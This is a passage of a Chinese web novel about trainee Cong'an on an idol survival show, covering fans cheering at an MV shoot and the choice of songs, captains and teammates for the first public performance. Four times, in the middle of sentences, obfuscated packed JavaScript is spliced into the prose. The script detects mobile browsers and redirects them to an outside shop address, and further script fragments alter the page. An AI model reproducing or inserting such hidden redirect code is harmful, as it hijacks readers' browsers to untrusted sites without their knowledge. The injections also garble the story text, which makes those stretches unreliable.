但眼前是一片海。 珊瑚红色的海。 旁边传来李瑞的催促:“从安,该下车了。” 从安回过神,起身快步朝车门走去。 下了车,那片珊瑚红色的海洋更一览无遗地扑了过来。 随着从安的出现,那片红色海洋波动了一下。 像平静的海面被投进一颗石子。 先是寂静。 接着,尖叫声爆发了。 不是零星的,不是散乱的,是成片的、有节奏的、几乎要掀翻天空的尖叫。 “从安——!!!” “安安!!看这里!!!” “啊啊啊啊啊——” 声音海浪般涌过来,撞进耳朵里。 从安站在那儿,有那么一瞬间,他什么也听不见,只能看见那片翻涌的红色,和一张张分明看不见,但无端浮现在脑海中的脸。 从安不由自主地抬起手,朝那个方向轻轻挥了挥。 尖叫声更高了。 有工作人员立刻开始维持秩序,将练习生和粉丝之间,划出一道长长的距离。 隔着马路,她们不能过来,练习生也不会过去。 李瑞吸着凉气看向从安:“那些都是你的粉丝?我的天,好多人。” 他的目光无法从那片珊瑚红上移开,如此张扬的存在感,让他人生头一次明白了这种应援的意义。 这种被坚定告知,被坚定选择的意味,如此明确。 ——在场一百名练习生,我只为你而来。 一众练习生们在工作人员的指挥下往前走。 迈下阶梯,前往海边。 也越发靠近那片被隔开的五彩海洋。 接着,一阵更整齐、更有力的呼喊响了起来。 “从心出发!安然绽放!” “从安!加油!” “我们一直在!” 如此整齐,如此清晰,毫不费劲地钻进了每个人的耳中。 哪怕喊的不是自己,也有无数练习生忍不住停下了脚步,回头朝着声音传来处望去。 在那一群粉丝之间,她们的存在如此独特。 因为她们身上相同的颜色,手上相同的手幅,还有头上那一个个发着光的发箍…… 和其她没有任何特殊标记的粉丝形成鲜明对比。 从安停下脚步,转头看向她们。 从安张了张嘴,想说些什么,但他知道,此刻开口只是徒劳。 他们无法在此刻停下脚步给与那些粉丝回应, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040515|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更不可能说话回应,远距离的挥手已是极限。 这种线下公共场合的录制,秩序才是最要紧的东西。 工作人员再次催促起来,练习生们收回视线,跟着往前走,只是脸上的惊讶怎么也压不下去。 看不了那些粉丝,他们就纷纷把目光投向从安,看了一眼又一眼。 分明已经认识了好几天,但此刻却好像第一次认识从安一样。 李瑞和从安走在一起,他不仅可以看,更可以直接开口提问。 “你的粉丝这也太强了,居然来了这么多人,还这么整齐地喊口号,我的天……这就是养成系吗?也太厉害了。” 练习生而已,就有如此有组织有纪律有规模的线下粉丝应援,李瑞以前只在各种出名的艺人身上才看见过这种粉丝聚集的线下活动。 知道的清楚这是粉丝,不知道的还以为这是什么训练有素的组织呢。 从安没有说话,他拼命地眨眼,试图压下眼底的酸涩。 面前是阵阵海风,而那些呐喊的声音,被海风裹挟着,一遍又一遍传到每个人的耳中。 从安不由得想起了在大巴车上时,李瑞问的问题。 “听说你每天五点起来练习?这也太拼了,你为什么这么努力啊?” 明明已经升入A班,已经拿到了主题曲C位,明明已经十分优秀,为什么还能毫不松懈地努力呢? 从安当时只是含糊的笑笑,把这个问题糊弄了过去。 他说着努力总比不努力好,现在自己实力还不够强,参加节目总是要更努力这种很空的套话,但心里的答案却无论如何都糊弄不过去。 ——他除了努力,根本不知道自己能做什么。 只有努力一点,更努力一点,才能压下心里不断蔓延的空虚与恐惧。 套着努力的外壳,用疲惫的身体去填满看不见道路的世界。 如果找不到路,那就说明他不够努力。 如果他努力一些,更努力一些,他是不是就能找到未来的方向? 直到此刻,从安才发现了自己的逃避。 无论是闭关大半年学习准备高考,还是现在完全沉浸在自己世界里的努力,都是在逃避。 逃避内心的恐惧,逃避自己的害怕。 直到直面此刻的声浪和海洋,从安才发现了那个躲藏起来脆弱得不堪一击的自己。 40.一公队长 踩着黄昏的落日,MV拍摄落下帷幕。 练习生们第一时间被赶到大巴车上离开,工作人员们则留下处理后续。 从安坐在窗边,车辆行驶,路边的一切在飞速后退。 但他依旧念念不舍地看着外面,看着看着就忍不住笑了起来。 虽然现在已经看不见任何东西,但看见的景象不会消失,只会留在心里,化成前进的勇气与动力。 第二天早上五点,从安十分干脆地起床,离开宿舍路的步伐都轻快了许多。 路过宿舍楼外的通告栏,今天的拍摄通告正显示在上面。 第一次公演分组。 两天的轻松时刻一闪而过,现在他们迎来了第二个残酷的考验。 八点五十,所有练习生在新的演播厅集合。 说是演播厅,其实也就是之前他们一百个人一起练习的那个练习室。 更像是运动场的练习室。 足够空,足够大。 不过和上次完全空荡不同,这次在所有人面对的方向,出现了一面墙。 两侧是密密麻麻的摄像师,无数镜头对准走进来的练习生们。 大家不由得安静了。 不仅是因为镜头的拍摄,更是因为大家都知道,今天要公布第一次公演的规则。 九点整,莫烟准时出现。 直播间准时开启。 画面中出现莫烟的身影。 今天的莫烟穿着干练的西装,手里拿着台本,站在所有人面前。 一大片舔颜的弹幕瞬间刷过。 【啊啊啊啊啊啊啊西装烟!好帅!】 【权威二字】 【谁的妈妈?哦,原来是我的妈妈啊,那没事了】 【好美好美好美】 【好羡慕现场的那些练习生,居然能看到那么美的烟烟,呜呜呜呜羡慕的眼泪从我的嘴角流了出来,你们看得明白吗!快出来让我进去看!】 莫烟目光扫过面前所有练习生,脸上带着微笑。 “大家早上好。”莫烟的声音透过麦克风传遍整个空间,“经过一周的主题曲训练和录制,相信你们已经初步适应了节目的节奏。那么接下来——” 她顿了顿,留出刻意的悬念。 “我们将进入第一次公演的准备阶段。” 练习室里响起低低的吸气声。 【哇哇哇一公来了,一公终于来了】 【一公结束就会有淘汰了吧,也不知道哪些人会走】 【期待一公!】 【希望一公选曲能好听一点】 “第一次公演的规则如下。”莫烟翻开台本,“首先,目前A班的八名练习生——从安、师启、柯子晋、余修文、查舟、闻辰、白思远、陈子谦——自动成为队长。” 被点到名的八人上前一步,站到所有人前方。 从安站在最中间。 他能感觉到身后投来的无数道目光。 羡慕的,紧张的,不服的。 “其次,”莫烟继续说,“剩下的九十二名练习生中,你可以自愿成为队长。但有个条件,你必须选择一名A班的队长,作为你的对手。” 一片哗然。 练习生们瞬间炸开了锅。 “什么?自己选对手?” “不是吧,让我们自己选择一名A班的练习生当对手?疯了吗!谁会选啊!” “这规则对A班太有利了吧。” 弹幕也迅速刷了起来。 【自己选择自己的对手?现在的队长都是A班的练习生欸,其他班的练习生拿什么去比?】 【这个规则有点刺激哦】 【哇哇哇好玩,期待!】 【谁会选择谁当对手啊?感觉肯定可以看出很多东西】 【不敢选的吧,A班的人那么强,谁敢选他们啊,和他们PK,能赢才怪了】 莫烟等议论声稍歇,才接着道:“第一次公演将采用1v1对抗赛制。十六支队伍分成A、B两组进行表演,由现场观众投票决出胜负。获胜的队伍,全员获得额外票数加成。” 她看向站在前排的八人:“而作为队长,你们还有一个特权——可以优先选择公演曲目。” 说完,没等众人多反应,后方墙上,已经出现了八首歌的名字,每首歌曲的片段也随之播放。 从安一一看过去。 《燎原》,高燃炸裂的电子舞曲,对舞蹈整齐度和爆发力要求极高。 《坠落》,性感暧昧的R&B风格,强调氛围感和肢体控制。 《破晓之前》,热血男团战歌,需要强大的声乐和舞台表现力。 《糖衣炮弹》,可爱甜系的流行曲,编舞活泼,感染力重要。 《逆流》,抒情摇滚,vocal难度大,情感表达要求高。 《机械心跳》,未来科技感编舞,强调卡点和机械感。 《野火》,民族风融合嘻哈,舞蹈复杂,有大量民族舞元素。 《沉默回声》,清冷抒情的民谣,纯vocal舞台,考验唱功。 “选曲顺序按照主题曲考核的排名。”莫烟看向从安,“从安,你是第一名,请先选择。” 从安上前一步。 得益于过去八年的练习经历,虽然这八年中,未公开的前两年,他只在寒暑假会进行基础的练习,公开之后的六年,也只在课后的放学时间去公司练习,到了寒暑假这类的长假,才会高强度的练习。 但数年的时间足够积累,面前的八首歌,都是他曾经学习过或表演过的歌曲。 节目组或许会给这些歌曲做新的改编,但曾经学过的他,已经比别人有了很多的优势。 了解这些歌曲的他,更能针对性地做选择。 《燎原》很炸,但需要极强的团队协作,稍有一个人力度不够就会显突兀。 《破晓之前》是经典男团曲,但同样对整齐度要求高。 《糖衣炮弹》可爱风,在这种竞技舞台上一向不占优势。 《逆流》和《沉默回声》偏vocal,这并不是他擅长的方向。 《机械心跳》和《野火》风格独特,但需要时间来磨合特殊舞种。 从安的视线停在第二首上。 《坠落》。 性感风。 这种风格看似简单,实则最难。 难在氛围的营造,难在肢体语言的微妙控制,难在团队成员之间的化学反应。 但它有个好处:对绝对整齐度的要求相对宽容,更看重整体的感觉。 在队友水平参差不齐的时候,不失为一种取巧的方案。 而且,性感舞台如果做得好,在现场很容易留下深刻印象。 选秀节目,他想赢。 “我选《坠落》。”从安举起话筒。 练习室里响起一阵低低的惊呼。 “从安选性感风?” “我以为他会选《燎原》或者《破晓之前》。” 从安没有理会议论,退回到自己的位置。 练习生们短暂的惊讶结束,但直播间却热闹了起来。 【坠落????何意味】 【从安选择坠落?为什么啊?他不是这种风格啊】 【从安为什么不选择破晓之前,这完全适合他吧】 【从安不是害怕了吧】 【我不想看小孩儿卖性感啊啊啊啊啊啊啊】 【未成年性感风,谁敢看?】 【从安成年了成年了成年了!】 【从安风格很多的,性感风舞台他以前也跳过,大家不要唱衰啊】 从安选择性感风的《坠落》这个决定,着实是出乎观众的预料。 根据过去一个多星期的节目来看,从初舞台的少年坚强不屈的表演,到主题曲充满青春少年气的表现,从安展现在镜头前,带给观众们的风格,都十分符合大家对养成系的印象。 少年、活力、阳光、青春。 或许有挫折,有伤痛,但也从不缺少再来的勇气。 更别提从安一直以来努力训练的表现了,多看了几眼节目的,都对从安留下了一个努力的有实力乖小孩的形象。 结果现在这个小孩要去跳性感舞曲? 疯了吧? 谁想看自家小孩这样的表演啊! 养成系不就该在舞台上可可爱爱吗? 弹幕的震惊密密麻麻,但节目的录制不会停下,接在这段时间,A班的其他练习生已经迅速选择好了自己的歌曲。 师启选了《机械心跳》。 柯子晋选了《燎原》。 余修文选了《逆流》。 查舟选了《破晓之前》。 闻辰选了《野火》。 白思远选了《糖衣炮弹》。 陈子谦选了《沉默回声》。 八支队伍的歌曲确定,接下来就轮到了和他们对抗的B组选择。 莫烟看向剩下的九十二名练习生。 “现在,有谁想自荐成为队长,挑战A班的八位?” 寂静。 长久的寂静。 所有人都低着头,不敢对视。 和A班的人1v1?疯了吗? A班的人本就实力最强,现在他们还先选曲,肯定选择的是自己擅长的曲目。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050313|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 实力更强,风格更匹配,在这种情况下,实力不如他们的练习生,谁有勇气主动成为他们的对手? 不成为B组队长,则有可能成为A组的队员。 与其去博一个大概率输的B组队长,成为这群A组的队友,才更有赢的希望吧? 现在主动自荐成为队长,或许会得到很多话题,但最后的成绩是残酷的,要是输了,没有加分,万一最后就是因为这些分数,被淘汰了怎么办? 没有自信的练习生,久久没有动作。 就在空气几乎凝固时,一只手举了起来。 司景耀。 大家纷纷看向他,一脸惊讶。 成为队长有风险,但同时也有收益,大家心里都猜测过谁会主动成为这个队长。 但猜来猜去,从来没有人猜过司景曜。 司景曜是谁? 是初舞台B级的天才主唱,是主题曲72分,将将留在C级的糟糕成绩。 比起司景曜令人印象深刻的声乐,更让人无法忽视的,是他更令人印象深刻的舞蹈实力。 从未参加过训练,因为一个视频爆红网络的素人,在专业的唱跳舞台上,他的短板一览无遗。 司景耀站出来,脸上没什么表情,只有眼神很坚定:“我想当队长。” 莫烟点点头:“好。你想挑战哪位A班队长?” 司景耀的目光扫过前方八人,最后停在陈子谦身上。 “我挑战陈子谦队长。我也选《沉默回声》。” 莫烟微微颔首。 明智的选择。 陈子谦是vocal担,司景耀毫无训练经历的练习生,唯一拿得出手的就是嗓音。 选同为vocal的陈子谦,至少不会在强项上被碾压。 至于舞蹈,在这首风格的歌曲里,舞蹈并不是考核的重点,尚且有挣扎的余地。 眼见司景曜如此轻松地就成为了B组的一名队长,现场的气氛开始松动。 莫烟再次询问:“还有吗?” 这次,齐刷刷举起了十几只手。 “按照主题曲考核的排名顺序。”莫烟翻开名单,一一比对举手的这些人的成绩,“第十二名,陆深,你想挑战哪位A班队长?” 陆深:“我挑战闻辰队长,选《野火》。” 接着,陆深在莫烟的示意下,向闻辰走去,站在了他的身边,站在了《野火》名字下面。 接着是第三个。 莫烟:“周子轩,你想挑战哪位A班队长?” 周子轩没急着说话,朝剩下几首歌看了几眼,最后放下了手,摇摇头:“我不打算挑战了。” 莫烟愣了片刻,很快反应过来。 周子轩这是本来也想选择《野火》,但是《野火》被排名比他更高的陆深先选择,所以他失去了选择《野火》的权利,而剩下几首歌曲他并不想选择,所以就直接放弃,不当队长。 而他现在这样放弃的行为,无疑也展现了自己对歌曲的偏好,稍后的队长选择队友环节,说不定有再次进入《野火》队伍的机会。 莫烟点点头,接着看向下一个人。 林阳:“我挑战白思远队长,选《糖衣炮弹》。” 赵子航:“我挑战余修文队长,选《逆流》。” 吴昊天:“我挑战查舟队长,选《破晓之前》。” 郑泽宇:“我挑战师启队长,选《机械心跳》。” 王瀚:“我挑战柯子晋队长,选《燎原》。” 八首歌,七个对手,都确定了。 只剩下从安的《坠落》。 莫烟再次看向剩下的练习生。 结果还没来得及看举手的练习生的名字,那些还举着的手,就在莫烟的视线中纷纷收了回去。 莫烟:“……” 这是……直接全都不想当队长了? 都不愿意和从安对上? 莫烟心里感叹,看向了最后还举着的一双手。 “安文乐,你想挑战从安队长吗?” “是的。”安文乐平静地开口,无视周围所有人的注视。 从安是主题曲考核的最高分,而他初舞台评级只有C,主题曲考核时,虽然升入了B班,但也只是擦线过的80分。 和从安比起来,他的实力大为不足。 但是,从安初舞台的表现不也只有C吗? 这是一个努力就能有收获的舞台,他或许也能有别的尝试。 莫烟点点头:“好。那么所有队长和对手确定完毕。” 她看向前方的十六人。 “接下来,就到了选择队友的时间了。” 41.一公队友选择 选曲结束后的现场,空气里弥漫着一种微妙的紧绷感。 十六名队长站在前方,身后是八块写着歌曲名的牌子。 剩下的八十四名练习生站在对面,像等待被挑选的士兵。 莫烟的声音清晰地传遍每一个角落。 “接下来是队友选择环节。规则如下——” 所有人都屏住了呼吸。 “每支队伍的队长,将按照主题曲考核的排名,与你的对手交叉选择队友。具体顺序是:B组队长先选一人,然后A组队长选一人;接着下一组,同样B组先选,A组后选。如此循环,直到所有队伍满员。” “每支队伍的人数将根据歌曲编舞需求确定,在五到七人之间。选择将进行多轮,直到所有队伍满员。” 话音落下,许多人的脸色明显变了。 按排名选,那排名靠后的队长,选择余地明显变少。 而B组队长按照A组队长的排名选择,更是占了一个大便宜。 不过这种规则也不能说不公平,或者说它其实意外的公平。 虽然排名靠后的队长选择余地变少,但每一轮只能选择一名队员,排名靠前的队长,也不可能选完全部实力强的队员。 只是说归这么说,排名靠前总归是更好的。 练习生们调整好心态,等待选择开始。 弹幕也迅速刷了起来。 【这个规则好残酷啊,完全看成绩说话】 【排名靠后的练习生好惨,只能捡别人挑剩下的】 【但这样很公平啊,谁让你主题曲没跳好】 【已经开始心疼了……】 莫烟没有给太多消化时间,直接进入流程。 “首先,从《坠落》组开始。B组队长安文乐,请选择你的第一名队员。” 所有人的目光都聚焦在安文乐身上。 安文乐站在《坠落》的牌子下,目光扫过对面的八十四人。 他的表情很平静,但手指无意识地摩挲着话筒边缘。 他需要选谁? 《坠落》是性感风,这种风格的舞台,需要的不是最强的舞者或最好的vocal,而是最合适的人——那种能在舞台上散发出独特氛围感的人。 但作为B组,他还有个更重要的考虑:他要赢从安。 虽然他想要赢从安的这个想法说出去,可能会被许多人耻笑,但安文乐选择成为队长,选择和从安进行PK,从来不是为了输的。 他也想赢。 哪怕在他人眼里希望渺茫,异想天开,但安文乐不可能还没开始,就为自己打下输的标识。 还没开始,谁知道最后的结果? 如果连想法都不敢有,尝试都不曾做过,那他又何必来到这里。 又何必作为一个小公司的练习生,来到这个充满资本与竞争的舞台? 直接回家看节目不就得了。 谁也不知道尝试有没有用,但不尝试一定会失败。 从安的实力太强了,单打独斗,安文乐知道自己没有任何胜算。 唯一的希望,是在团队配置上做文章。 选那些能和从安有一拼之力,能和从安选择的队友有一拼之力,或者能牵制从安的人。 安文乐的视线在人群中逡巡,最后停在一个身影上。 “我选——”他举起话筒,“夏实。” 练习室里响起一片低低的哗然。 夏实自己也愣住了。 他眨了眨眼,指着自己:“我?” “对,就是你。”安文乐点头。 夏实是B班,初舞台B,主题曲也是B。 实力均衡,没有明显短板。 更重要的是,他是从安的室友。 弹幕瞬间炸了。 【???安文乐选夏实?】 【夏实不是从安的室友吗?】 【这是故意的吧?选对手的室友?】 【有好戏看了,室友变对手】 【安文乐这手玩得漂亮啊】 夏实站在原地,表情有些复杂。 他其实对《坠落》没有太多想法。 这种性感风格和他阳光清秀的外形实在不太搭。 但规则就是规则,他没有拒绝的权利。 他看了一眼从安。 从安脸上没什么表情,只是平静地看着他。 夏实深吸一口气,挤出笑容,朝安文乐走去:“谢谢安队长选择我。” “欢迎。”安文乐和他击了个掌。 两人站到一起时,练习室里的气氛更微妙了。 所有人都偷偷看向从安,想从他脸上看出点什么。 但从安依旧平静。 “接下来,”莫烟的声音响起,“《坠落》A组队长从安,请选择你的第一名队员。” 从安上前一步。 他的目光在人群中快速扫过。 选谁? 他脑子里已经有一个清晰的框架。 《坠落》这种歌,需要的不是整齐划一的刀群舞,而是一种流动的、暧昧的、充满张力的氛围。 所以队员的外形气质、舞台表现力,比单纯的唱跳实力更重要。 从安自己是圆脸圆眼,虽然最近瘦了很多,但面部线条依然偏钝,离性感还有距离,等再瘦一些,面部变得更瘦削,他才能够更好地展现出这首歌曲需要的性感氛围。 但性感也有很多种类型,他受与年龄和体形,无法做到充满性张力的性感,他的外表,无论再瘦,都充满了一种正直。 所以,他无法选择气质更柔和的队友。 在舞台上,整体的和谐十分重要。 因此,他需要的队友—— 从安视线移动,停留停在一个人身上。 需要看起来就很有攻击性、很有张力。 车明杰。 柯子晋同公司的练习生,但和训练许久科班出身的柯子晋不同,车明杰被签入光芒娱乐的时间不长。 他跳舞依然保留着自己常年自学带来的天然野性,动作不是整齐划一的标准,但充满生命力,眼神尤其有侵略性。 初舞台时,他跳了一段自己编的urban,那种原始的力量感让从安印象深刻。 虽然主题曲考核他只拿了C——因为他的舞蹈风格和标准化的主题曲格格不入,且声乐实力确实有所欠缺——但从安觉得,以车明杰的实力,他会适合这个舞台。 “我选车明杰。”从安说。 这次轮到车明杰愣住了。 他指着自己,嘴巴张了张,没发出声音。 他想过很多自己可能会去的队伍,但没想到选择他的居然会是从安。 然后他猛地反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054186|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过来,脸上绽开一个大大的笑容,几乎是跳着跑过来的。 “谢谢从安队长!”车明杰声音响亮,眼睛里全是光,“我一定会努力的!” 他从人群中跑过时,柯子晋看了他一眼,眼神复杂。 弹幕又刷了起来。 【从安选了车明杰?为什么啊?】 【车明杰跳舞很有风格,但不太稳定吧】 【车明杰跳坠落?画面太美不敢想】 车明杰跑到从安身边,喘着气站定。 他比从安高一点,肩膀宽,站在那里像棵生机勃勃的树。 从安对他点点头:“欢迎。” 第一组选完,轮到第二组。 《机械心跳》组,B组队长郑泽宇先选。 郑泽宇明显很紧张。 他看了看对面的人群,又看了看身边的师启,犹豫了几秒,最后选了一个B班的、和他关系不错的练习生。 师启的选择就果断多了,他直接选了一个舞蹈实力很强的B班练习生。 两组选完,接着是第三组、第四组…… 选择过程比想象中漫长。 每一组的选择都透露出不同的策略:有人选实力最强的,有人选关系好的,有人选外形合适的。 排名靠后的练习生们脸色越来越差。 眼看着一个个熟悉的名字被叫走,自己还站在原地,那种滋味并不好受。 大半个小时,第一轮选择终于结束。 十六支队伍,每队都有了一名队员。 短暂的休息时间,练习生们三三两两地聚在一起低声交谈。 被选中的人松了口气,还没被选中的则焦虑地等待着下一轮。 “第二轮选择开始。”莫烟的声音再次响起,“顺序不变,从《坠落》组开始。安文乐,请选择。” 安文乐这次没有犹豫。 现在B班练习生基本都有了队伍,只剩下其他等级的练习生还等在原地。 选择的余地已经不多了。 安文乐选了一个vocal不错的C班练习生。 从安的选择同样果断。 李瑞。 经过主题曲在C班数天的相处与练习,从安深知李瑞的实力。 虽然不强,但也不算弱。 唱和跳两部分都没有明显短板。 浓眉大眼,从外表上来看,和他属于同一类型。 更重要的是他足够听话。 弹幕又热闹了。 【为什么选李瑞啊,B班不是还有两个人吗?】 【李瑞实力很一般吧】 【看不懂这组】 【都是跳舞的,没有唱歌的吗?到时候舞台上得多难听?】 第三轮、第四轮…… 选择继续进行。 越往后,剩下的练习生实力越参差不齐。 有些队长开始皱眉。 他们想要的人已经被选走了,只能从剩下的里面挑。 从安却一直很平静。 他每一轮的选择都很快,而且目标明确:要外形气质符合氛围的,要舞台表现力强的。 至于唱跳实力——可以练。 这次一公预留的练习时间,足够每个人把动作练到融入自己的血肉里了。 但那种与生俱来的舞台感和气质,是练不出来的。 42.队友们 选择一轮接一轮。 五人组的歌曲《逆流》与《沉默回声》组选人率先结束。 接着是六人组的《坠落》和《野火》。 最后七人组的《机械心跳》,《燎原》,《破晓之前》,《糖衣炮弹》选择结束。 至此,选人环节告一段落。 莫烟再次举起了话筒:“第一次公演舞台,将在十二天后正式录制。” 她的话像一颗石子投入寂静的湖面,激起层层扩散的涟漪。 练习生们脸上原本或兴奋、或失落、或庆幸的神色,在这一刻被统一冲刷成了某种更为凝重的东西。 十二天。 “届时,现场一千名观众将根据你们的舞台表现进行投票。每首歌曲的A、B两组中,获胜队伍全员将获得额外的票数加成。”莫烟的目光平静地扫过每一张年轻的脸,“而第一次淘汰,将在一公录制结束后,根据实时累积票数进行。” “淘汰人数——”她刻意停顿,让那个悬而未决的数字在寂静中发酵,“将是总人数的百分之四十。” 百分之四十。 也就是四十人。 一个即将过半的数字。 一百个人里,有四十个人将在十二天后的舞台上,彻底失去继续前进的资格。 现场死一般的寂静,连呼吸声都变得清晰可闻。 十二天。 一首歌。 一个舞台。 决定去留。 原本因为进入心仪队伍而雀跃的心情,瞬间被冰冷的现实浇灭。 竞争的残酷第一次如此清晰地展露在所有人面前。 弹幕也凝固了一瞬,随即疯狂刷过。 【四十个???一公就淘汰这么多人???】 【我的天……】 【已经开始难过了】 【这才是生存战啊……】 “从今天起,所有训练将进入一公准备阶段。”莫烟的声音打破了凝固的气氛,“现在,去你们的练习室,开始吧。” 没有多余的话,莫烟话音一落,就有工作人员在镜头后面开始指挥。 练习生们按照歌曲分组,跟着工作人员走向不同的练习室。 脚步声在走廊里回响,混杂着低低的交谈和沉重的呼吸。 从安带着自己的五人走向挂着《坠落》牌子的那扇门。 和安文乐组一起到达练习室。 他们这次练习,选择了同一首歌曲的两个组,将在同一间练习室,进行这十二天的练习。 练习室很大,偌大的镜子前面,被划分成两个区域。 一边是蓝色的A组,一边是红色的B组。 安文乐和他的队友们迈步朝红色的区域走去。 从安和自己的队友们在蓝色的区域停了下来。 练习室里没有任何工作人员的身影,但所有人都知道,摄像机依然在矜矜业业的工作,他们胸前的麦克风捕捉着他们的声音,现在不是休息的时候。 或者说,现在正式到了表现的时刻。 “我们先来分一下PART吧。”安文乐的声音在安静的练习室响起。 从安看过去,安文乐组已经拿起了节目组在练习室准备的平板与歌词,现在每个人都坐在地上翻看着。 从安收回视线,朝自己的队友们颔首:“我们也先完整地看一下歌曲,然后再来讨论分PART的事情。” 没有异议,所有人都围坐在平板前,专心致志地看了起来。 选曲阶段也有播放歌曲DEMO,但受限于时长,并没有播放完整,只播放了一部分。 当时从那个片段来看,《坠落》这首歌重舞蹈,在声乐上的要求并不是很高。 现在看完全部的视频,更加印证了从安的判断。 没有高难度的技巧,也没有复杂的唱腔,有的是一种细腻的缠绵。 低吟浅唱,仿佛暗夜阴影里的哼鸣。 虽然想要表达出这种感觉同样很难,但比起先天嗓音条件的限制,这起码是在场的人都能唱出来的东西。 无非是唱得好不好的问题。 而舞蹈部分,不是强硬的刀群舞,也没有高难的动作,整体更偏向一种柔和的氛围。 和从安的预期一致。 什么样的歌曲适合什么样的风格,可以做怎样的改编,在过去几年里,他确实有仔细地思考过这个问题。 DEMO看完,每个人都有了自己的想法。 从安放下平板,一一看向自己的队友。 选曲,选人,这些只是舞台表演之前的一部分。 而在舞台上最重要的,是要让每个人站在自己合适的位置。 车明杰。 从安最先选择的就是他。 初舞台B班,主题曲之后降为C班,这不是他实力不足,而是比起B班其他唱跳都没有短板的其他练习生,他的缺点太过明显,优点也过于突出。 训练时长过短,缺乏各种技巧,但于此同时,他对于舞蹈的天赋,身上那种原始、直接、带有掠夺感的吸引力,又让人无法忽视。 同时,他的长相也很有冲击力。 眉毛浓黑,眼窝深邃,颧骨略高,不笑的时候有种天然的野性和攻击性,笑起来的时候,那股野性又会奇异地转化为一种近乎天真的灿烂,嘴角咧开,露出虎牙。 李瑞。 初舞台C班,主题曲也是C班的练习生,从安和他相处了几天,对他已经有了初步的了解。 浓眉大眼,长相端正,气质阳光,在人群中属于一眼就能看见的清爽帅气类型,同时也有几分天赋,唱跳都没有短板,努力练习,能够做到不错的水平。 但也正因如此,无论是因为阳光帅气的外貌在生活中备受青睐,又或是被星探发掘和公司签约,李瑞过去的生活都可以称得上一句轻松。 家长老师会宽待他,朋友们会因为阳光开朗喜欢他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065105|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,公司会因天赋培养他……一路顺风顺水来到这里。 然后遇见比他更有天赋,更帅气,还更加努力的其他练习生。 能来到节目里的,每一个在过去的生活里都可以称得上优秀,但现在,这样的人,在这里聚集了一百个。 现在的李瑞,已经和从安最初印象里那个愿意在C班主动揽下摊子的李瑞不同了,从安不太清楚对方的心里发生了什么样的变化,但不管怎么想,都不会是积极的变化。 不这种转变,在这个时候,说不定会意外地适合《坠落》这个舞台。 然后是沈言。 从安在第三轮选择的队友。 初舞台是D班,然后升到了C班。 从安对他的印象来源于他的初舞台。 组合表演时,他的表演可以说是不功不过,没有什么亮点,但是在组合表演之后,他主动开口表示自己有别的特长,然后表演了一段现代舞的独舞。 从安对现代舞没有太多研究,不过他们五代有一个人十分擅长舞蹈,大学时便选择了学习舞蹈,从安看过他的现代舞,两相对比,他很快判断出来沈言的现代舞水平。 差了很多。 但是,沈言的身体柔韧性极佳,初舞台的下腰劈叉,配上他清瘦的身材,很难不让人印象深刻。 而且之前初舞台从安看的不清楚,现在离得近了,才注意到沈言的侧脸十分好看,微长的碎发遮住额头和眉毛,只漏出眼尾,微微上挑,有几分勾人,很适合《坠落》的风格。 接着是楚沛。 初舞台和主题曲都是D班,实力虽然一般,但是在座所有队员里外形最出众的一个。 不是标准意义上的英俊,而是有一种混合着少年感和颓废感的矛盾气质。 皮肤很白,眼尾微微下垂,看人时总带着点漫不经心的疏离。 初舞台他唱了一首民谣,嗓音条件不错,但技巧生涩,舞蹈更是宛如广播体操。 主题曲考核时,他的表现只比惨不忍睹好了一点,能拿到D的评级,从安觉得可能是导师看他哪怕磕磕绊绊,但也努力表演完了整首歌曲给的鼓励分。 最后一个。 许安霖。 F班练习生。 从安脑海里没有丝毫对他舞台的印象。 在初舞台或者主题曲这种加起来上百个的众多舞台里,能让人产生印象的,要么是好得很突出,要么是差得很突出,又或者是精心设计了特别的环节,只求能够多吸引一些观众的关注——甚至这种特别设计在大部分练习生都做了的情况下,普通的特别设计也不能让人产生印象了。 而从安对许安霖的舞台没有任何印象,说明对方的舞台没有丝毫可取之处,甚至连差,都不是最差的那一种。 